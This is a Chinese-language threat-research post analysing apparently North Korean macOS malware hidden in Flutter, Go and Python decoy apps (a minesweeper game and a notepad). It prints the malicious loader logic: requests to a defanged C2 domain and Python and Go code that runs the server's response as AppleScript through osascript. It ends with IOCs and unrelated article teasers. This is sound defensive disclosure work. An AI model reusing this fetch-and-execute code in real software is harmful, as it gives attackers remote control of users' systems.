APT 参与者将恶意软件嵌入 macOS Flutter 应用程序中
发现了一些恶意软件样本,这些样本据信与朝鲜民主主义人民共和国 (DPRK)(又称北朝鲜)有关,这些样本使用 Flutter 构建,Flutter 的设计可以对恶意代码进行混淆。JTL 深入研究了恶意代码的工作原理,以帮助保护 macOS 设备上的用户。
介绍
10 月下旬,Jamf Threat Labs 发现上传到 VirusTotal 的样本虽然显示出恶意意图,但报告显示这些样本是干净的。该恶意软件中的域名和技术与其他朝鲜恶意软件中使用的域名和技术非常相似,有迹象表明,该恶意软件曾被签名,甚至暂时通过了 Apple 的公证程序。目前尚不清楚该恶意软件是否已用于攻击任何目标,或者攻击者是否正在准备一种新的交付方式。
包装
发现的恶意软件有三种形式。Go 变体、使用 Py2App 构建的 Python 变体和 Flutter 构建的应用程序。这篇博文将重点介绍 Flutter 构建的应用程序,因为我们发现它最有趣,因为它的逆向复杂性很高。
Flutter是 Google 开发的一款框架,可简化跨平台应用程序的设计。如果开发人员正在设计一款希望在 macOS、iOS 和 Android 上保持一致的应用程序,Flutter 是一个可行的选择。
使用 Flutter 构建的应用程序具有独特的应用布局设计,为代码提供了大量隐蔽性。这是因为使用 Dart 编程语言写入主应用程序逻辑的代码包含在 dylib 中,该 dylib 随后由 Flutter 引擎加载。
上图显示了标准 Flutter 应用程序的布局,其中有两个值得注意的文件 - 一个主 Flutter 应用程序和一个被分配名称为 App 的 dylib 文件。更令人困惑的是,这个 dylib 不是由主应用程序直接加载的。由于 Flutter 编译其应用程序的复杂性,这个 dylib 未在主 machO 文件中列为共享库。虽然这个应用程序架构本身并没有什么恶意,但它恰好在设计上提供了一种很好的混淆途径。
恶意软件
恶意软件作者创建的 Flutter 应用程序被认为是第一阶段的有效载荷。我们最初确定了六个受感染的应用程序,其中五个使用开发者帐户签名进行签名。在我们发现时,Apple 已经撤销了这些签名。
BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)
一个名为New Updates in Crypto Exchange (2024-08-28).app
(7cb8a9db65009f780d4384d5eaba7a7a5d7197c4) 的应用程序是使用 Flutter 构建的,并使用 Dart 编程语言开发。执行后,受害者将看到一个功能齐全的扫雷游戏。该游戏本身似乎是GitHub 上一个基本的开源F flutter 游戏的克隆,这是一个为 iOS 设计的项目。通过克隆项目并修改一些项目设置,它可以轻松地编译为在 macOS 上运行。
由于对应用程序进行了修改,启动应用程序时会向该域发出网络请求。这引起了我们的注意,因为该域过去mbupdate[.]linkpc[.]net
曾被朝鲜恶意软件使用过。
以下是通过 HTTPS 对第二阶段恶意软件的 GET 请求。
GET /pkg/ HTTP/1.1
user-agent: dart-crx-update-request/1.0
accept-encoding: gzip
host: mbupdate[.]linkpc[.]net
content-length: 0
不幸的是,在我们分析时,服务器响应了 404 错误消息。
HTTP/1.1 404 Not Found
Date: Wed, 30 Oct 2024 15:21:02 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
Content-Length: 306
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at mbupdate[.]linkpc[.]net Port 443</address>
</body></html>
正如预期的那样,由于应用程序架构的原因,编译后的 Dart 代码会进入位于路径New Updates in Crypto Exchange (2024-08-28).app/Contents/Frameworks/App.framework/Versions/A/App
(a2cd8cf70629b5bb0ea62278be627e21645466a3) 的 App dylib 文件中。
New Updates in Crypto Exchange (2024-08-28).app
└── Contents├── Frameworks│ ├── App.framework│ │ ├── App -> Versions/Current/App <----HOLDS MALICIOUS CODE│ ├── FlutterMacOS.framework│ ├── audio_session.framework│ ├── in_app_review.framework│ ├── just_audio.framework│ ├── path_provider_foundation.framework│ ├── share_plus.framework│ └── shared_preferences_foundation.framework├── Info.plist├── MacOS│ └── minesweeper├── PkgInfo└── Resources
从下面的输出中我们可以看到,快照相关符号(例如和)nm
的存在表明应用程序的操作逻辑大量嵌入在预编译的 Dart 快照中,这使得分析和反编译工作变得复杂。_kDartVmSnapshotData``_kDartIsolateSnapshotInstructions
仔细查看字符串,我们可以快速确定一些支持的功能。正如预期的那样,我们在 dylib 中看到了域和用户代理字符串,但字符串的存在osascript
非常有趣,因为它可能表示支持 AppleScript 执行的功能。
strings - App
....
dart-crx-update-request/1.0
dart-crx-update-request/1.0
mbupdate[.]linkpc[.]net
mbupdate[.]linkpc[.]net
osascript
osascript
....
为了进行测试,我们在本地测试环境中重定向了来自恶意域的流量,并确认该恶意软件确实执行了有效 HTTP 响应返回的任何 AppleScript 代码。我们的测试表明,第二阶段的 AppleScript 必须反向编写才能被恶意软件成功执行。
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
content-length: 51".revres eht morf egassem a si sihT" golaid yalpsid
下面是通过远程 Applescript 执行的对话框消息的示例。
过去,我们观察到朝鲜正在适应使用原生AppleScript 有效载荷,因此我们怀疑攻击者可能会利用类似的有效载荷来攻击 macOS 系统。
Golang 变体
我们发现了具有类似功能的恶意软件 Golang 变体,标题为New Era for Stablecoins and DeFi, CeFi (Protected).app
(0b9b61d0fffd52e6c37df37dfdffefc0e121acf7)。我们在 SentinelOne 的朋友最近发布了一篇博客文章,介绍了一种使用完全相同文件名的感染媒介,并将其归因于同一威胁行为者。
如上所述,该变体之前已由 Apple 签名并公证,但其签名现已被撤销。
与 Flutter 变体类似,标题为 (bc6b446bad7d76909d84e7948c369996b38966d1) 的可执行文件使用 user-agentHello
发出 GET 请求。hXXps://mbupdate[.]linkpc[.]net/update.php``CustomUpdateUserAgent
GET /update.php HTTP/1.1
Host: mbupdate[.]linkpc[.]net
User-Agent: CustomUpdateUserAgent/1.0
Accept-Encoding: gzip
content-length: 0
它调用osascript
运行服务器响应中收到的任何 AppleScript 有效负载。
loc_122eff5:rax = _io.ReadAll(rdi, rsi, rdx, rcx, r8, r9, stack[-184], stack[-176]);
...._os/exec.Command(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184], stack[-176], stack[-168], stack[-160]);rax = _os/exec.(*Cmd).CombinedOutput(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184]);
....
Python 变体
Python 变体使用Py2App打包为独立应用程序包。
标题为(ee22e7768e0f4673ab954b2dd542256749502e97)的应用程序包Runner.app
是临时签名的,并启动了一个功能齐全的记事本应用程序。
位于的启动脚本Runner.app/Contents/Resources/__boot__.py
执行名为 (6f280413a40d41b8dc828250bbb8940b219940c5) 的 Python 脚本notepad_.py
。此脚本利用 tkinter(用于创建 GUI 应用程序的内置 Python 库)来实现打开、编辑和保存文件等功能。
然而,此脚本中嵌入了获取并执行远程代码的恶意逻辑。与 Flutter 变体类似,init 方法向 发送 GET 请求hXXps://mbupdate[.]linkpc[.]net/update.php
。如果收到有效响应,则将内容传递给该update()
方法。
def __init__(self,**kwargs):# Check updatetry:headers = {'User-Agent': 'python-update-request/1.10.1'}response = requests.get('hXXps://mbupdate[.]linkpc[.]net/update.php', headers=headers, timeout=5)if response.status_code == 200:#print(response.text)self.update(response.text)self.__root.destroy()except:pass
该update()
方法使用osascript
AppleScript 执行服务器响应,允许攻击者在受害者的系统上运行任意命令或有效负载。
def update(self, content):cmd = """osascript -e '{}'""".format(content)os.system(cmd)
结论
本博客中发现的恶意软件显示出强烈的迹象,表明它可能正在测试更大规模的武器化。这一理论源于这样一个事实:该行为者以从头到尾组织极具说服力的社会工程活动而闻名,并且此处看到的文件名与 Flutter 构建的应用程序中向用户显示的内容不一致。这可能是为了查看经过正确签名的应用程序(恶意代码隐藏在 dylib 中)是否能获得 Apple 公证服务器的批准,以及躲过防病毒供应商的监视。
攻击者将恶意软件嵌入基于 Flutter 的应用程序并非闻所未闻,但这是我们第一次看到攻击者使用它来攻击 macOS 设备。虽然这到底是真正的恶意软件还是一种将恶意软件武器化的新方法的测试仍未可知,但我们仍会密切关注攻击者的进一步活动。
IOCs
ARCHIVES/APPS
6fa932f4eb5171affb7f82f88218cca13fb2bfdc (Multisig Risk in Stablecoin (Solana).zip - flutter variant)
"Multisig Risk in Stablecoin (Solana).app"a12ad8d16da974e2c1e9cfe6011082baab2089a3 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchanges (2024-09-01).app"eadfafb35db1611350903c7a76689739d24b9e5c (arjun.minesweeper.zip - flutter variant)
"Multisig Risks in Stablecoin and Crypto Assets (EigenLayer).app"7cb8a9db65009f780d4384d5eaba7a7a5d7197c4 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchange (2024-08-28).app"0b9b61d0fffd52e6c37df37dfdffefc0e121acf7 (com.christy.gohello.zip - golang variant)
"New Era for Stablecoins and DeFi, CeFi (Protected).app"ee22e7768e0f4673ab954b2dd542256749502e97 (Runner (1).zip - python variant)
"Runner.app"DYLIB
a2cd8cf70629b5bb0ea62278be627e21645466a3 (App - flutter variant)
6664dfdbce1e6311ea02aa2827a866919a5659cc (App - flutter variant)MACHO
dd38d7097a3359dc0d1c999225286a2f651b154e (minesweeper - universal - flutter variant)
9598e286142af837ee252de720aa550b3bea79ea (minesweeper - arm - flutter variant)
90e0e88e5b180eb1663c2b2cfe9f307ed03a301b (minesweeper - x86 - flutter variant)710f84c42ba79de7eebb2021383105ae18c0c197 (minesweeper - universal - flutter variant)
5bf18435eb0dbb31e4056549f6ec880793f49a82 (minesweeper - arm - flutter variant)
2460c6ac4d55c34e3cc11c53f2e8c136682ac934 (minesweeper - x86 - flutter variant)bc6b446bad7d76909d84e7948c369996b38966d1 (hello - universal - golang variant)
4476788a3178d53297caffca8ea21ab95352fc56 (hello - arm - golang variant)
3f51182029a2d4ed9c7cc886eb7666810904f9df (hello - x86 - golang variant)PYTHON
6f280413a40d41b8dc828250bbb8940b219940c5 (notepad_.py - python variant)TEAMID
BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)DOMAIN
mbupdate[.]linkpc[.]net -> 172.86.102[.]98 (c2)USER-AGENTS
dart-crx-update-request/1.0
CustomUpdateUserAgent/1.0
python-update-request/1.10.1
相关文章:

APT 参与者将恶意软件嵌入 macOS Flutter 应用程序中
发现了一些恶意软件样本,这些样本据信与朝鲜民主主义人民共和国 (DPRK)(又称北朝鲜)有关,这些样本使用 Flutter 构建,Flutter 的设计可以对恶意代码进行混淆。JTL 深入研究了恶意代码的工作原理,以帮助保护…...
第 3 章 -GO语言 基本语法
1. 注释 在编程中,注释是帮助理解代码的重要工具。Go语言支持两种类型的注释: 单行注释:以 // 开头,直到行尾都是注释。多行注释:以 /* 开始,以 */ 结束,可以跨越多行。 示例 package maini…...

【qt】控件
1.frameGeometry和Geometry区别 frameGeometry是开始从红圈开始算,Geometry从黑圈算 程序证明:使用一个按键,当按键按下,qdebug打印各自左上角的坐标(相当于屏幕左上角),以及窗口大小 Widget::Widget(QWid…...

入侵检测算法平台部署LiteAIServer视频智能分析平台行人入侵检测算法:科技守护安全的新篇章
在现代化城市快速发展的背景下,安全防范已成为城市管理与社会生活中不可或缺的一环。随着人工智能、大数据、物联网等技术的飞速发展,智能化安防系统正逐步改变着传统的安全防护模式,特别是在行人入侵检测领域,视频智能分析平台Li…...

【AiPPT-注册/登录安全分析报告-无验证方式导致安全隐患】
前言 由于网站注册入口容易被机器执行自动化程序攻击,存在如下风险: 暴力破解密码,造成用户信息泄露,不符合国家等级保护的要求。短信盗刷带来的拒绝服务风险 ,造成用户无法登陆、注册,大量收到垃圾短信的…...

【设计模式】行为型模式(二):策略模式、命令模式
行为型模式(二):策略模式、命令模式 3.策略模式(Strategy)3.1 示例3.1.1 定义策略接口3.1.2 实现具体策略3.1.3 定义上下文类3.1.4 客户端代码3.1.5 输出结果 3.2 总结3.2.1 优点3.2.2 缺点 4.命令模式(Com…...

STM32中断系统
目录 一、中断的基本概念 二、NVIC 1.NVIC的概念 2、NVIC的组成 3、NVIC的应用 4.NVIC的结构 三、外部中断EXTI 1.外部中断的概念 2.EXTI基本结构 四、EXTI外部中断的配置流程 1.开启APB2中的GPIO口/AFIO时钟 2.GPIO配置成输入模式 3.AFIO选择中断引脚 4.EXTI初始…...
window的Anaconda Powershell Prompt 里使用linux 命令
在 Windows 的 Anaconda Powershell Prompt 中使用 Linux 命令,可以通过以下几种方法来实现: 1. 使用 Git Bash 安装 Git for Windows 后,它会包含 Git Bash,允许在 Windows 上使用许多 Linux 命令。 步骤: 安装 Gi…...
Lisp 语言入门教程(一)
Lisp(“LISt Processing”)是一种古老而强大的编程语言,特别适合处理符号数据和列表。Lisp 是一种以括号和递归见长的语言,它启发了许多编程范式。以下是一个基础教程,帮助你快速了解 Lisp 的基本语法和功能。 1. 认识…...
Git - Think in Git
记录一些使用Git时的一些想法 区的概念 当 clone 仓库代码到本地后四个区相同 当编辑代码后,工作区 与其余三个区不同 当使用 add 将修改的代码暂存后,索引区与 工作区 相同 当使用 commit 将修改的代码提交后,仓库区 与 索引区 和 工作区 相…...

jmeter常用配置元件介绍总结之用linux服务器压测
系列文章目录 安装jmeter jmeter常用配置元件介绍总结之用linux服务器压测 1.编写测试脚本2.执行测试脚本 1.编写测试脚本 在linux服务器上进行压测,由于是没有界面的,因此我们可以先在界面上把压测脚本写好: 如图:我这里简单的写…...

VL210-Q4 适用于USB延长线 扩展坞
VL210芯片技术文档 一、概述 VL210是一款由VIA Technologies(威盛电子)生产的第四代先进USB 3.0 Hub控制器。它集成了多种先进技术和功能,适用于各种USB集线器应用,如独立的USB集线器、笔记本/Ultrabook停靠点/port-replicators…...

怎么样绑定域名到AWS(亚马逊云)服务器
1,拿着你买的域名去亚马逊申请一个证书。申请证书分两种,一种是去亚马逊后台填域名手动申请 ,另一种是通过API来申请,类似如下代码: 2、证验证书。有两种方式:一种是通过邮件,另一种去到域名提供…...

Clickhouse集群新建用户、授权以及remote权限问题
新建用户 create user if not exists user on cluster 集群名称 IDENTIFIED WITH plaintext_password BY 密码;给用户授查询、建表、删表的权限 GRANT create table,select,drop table ON 数据库实例.* TO user on cluster 集群名称 ;在其他节点下用户建本地表成功&#…...

OPENCV 检测直线[opencv--3]
opencv中集成了很多好用的函数,比如霍夫变换检测直线的函数,当然,考虑到看我文章的人水平,我这里只讲讲如何使用这个函数,和怎么调节其中的参数 先把运行效果PO出来吧 #include "CV_ERROR.h" #include &q…...

FFmpeg 4.3 音视频-多路H265监控录放C++开发十三.2:avpacket中包含多个 NALU如何解析头部分析
前提: 注意的是:我们这里是从avframe转换成avpacket 后,从avpacket中查看NALU。 在实际开发中,我们有可能是从摄像头中拿到 RGB 或者 PCM,然后将pcm打包成avframe,然后将avframe转换成avpacket࿰…...

【MATLAB】目标检测初探
文章目录 0 前言1 目标检测概述2 算法实践2.1 YOLO v22.2 YOLO v3 3 项目实践3.1 项目背景和数据集3.2 实践结果3.3 算法对比 4 工具箱与数据标注5 总结 0 前言 之前因为项目原因,做了一个基于YOLOv5实现目标检测的程序,是基于Python做的,直接…...

SpringCloud 微服务消息队列灰度方案 (RocketMQ 4.x)
目录 背景遇到的问题 RocketMQ 基础基础消息模型扩展后的消息模型部署模型相关概念点 方案对比影子Topic的方案Tag的方案UserProperty的方案影子Group的方案灰度分区的方案方案对比 灰度分区方案设计适配只有部分灰度的情况所做的功能扩展消费者(无灰度)…...

厘清标准差和标准误:因果推断的统计学基础
标准差,指 一次抽样中 个体取值间的离散程度,反映了 个体取值对样本均值的代表性。 标准误,指 多次抽样中 样本均值间的离散程度,反映了 样本均值对总体均值的代表性。 公众号原文-厘清标准差和标准误:因果推断的统计…...

GESP4级考试语法知识(贪心算法(二))
排队接水2代码: #include<iostream> #include<cstdio> #include<algorithm> using namespace std; struct people {int num;int time; }; people s[1001]; int n,r,a[1001]; double sum,ave; bool cmp(people x,people y) {return x.time<y.t…...
RestClient
什么是RestClient RestClient 是 Elasticsearch 官方提供的 Java 低级 REST 客户端,它允许HTTP与Elasticsearch 集群通信,而无需处理 JSON 序列化/反序列化等底层细节。它是 Elasticsearch Java API 客户端的基础。 RestClient 主要特点 轻量级ÿ…...

7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...

TDengine 快速体验(Docker 镜像方式)
简介 TDengine 可以通过安装包、Docker 镜像 及云服务快速体验 TDengine 的功能,本节首先介绍如何通过 Docker 快速体验 TDengine,然后介绍如何在 Docker 环境下体验 TDengine 的写入和查询功能。如果你不熟悉 Docker,请使用 安装包的方式快…...
rknn优化教程(二)
文章目录 1. 前述2. 三方库的封装2.1 xrepo中的库2.2 xrepo之外的库2.2.1 opencv2.2.2 rknnrt2.2.3 spdlog 3. rknn_engine库 1. 前述 OK,开始写第二篇的内容了。这篇博客主要能写一下: 如何给一些三方库按照xmake方式进行封装,供调用如何按…...
基于Uniapp开发HarmonyOS 5.0旅游应用技术实践
一、技术选型背景 1.跨平台优势 Uniapp采用Vue.js框架,支持"一次开发,多端部署",可同步生成HarmonyOS、iOS、Android等多平台应用。 2.鸿蒙特性融合 HarmonyOS 5.0的分布式能力与原子化服务,为旅游应用带来…...
生成 Git SSH 证书
🔑 1. 生成 SSH 密钥对 在终端(Windows 使用 Git Bash,Mac/Linux 使用 Terminal)执行命令: ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" 参数说明: -t rsa&#x…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...

html css js网页制作成品——HTML+CSS榴莲商城网页设计(4页)附源码
目录 一、👨🎓网站题目 二、✍️网站描述 三、📚网站介绍 四、🌐网站效果 五、🪓 代码实现 🧱HTML 六、🥇 如何让学习不再盲目 七、🎁更多干货 一、👨…...

MFC 抛体运动模拟:常见问题解决与界面美化
在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...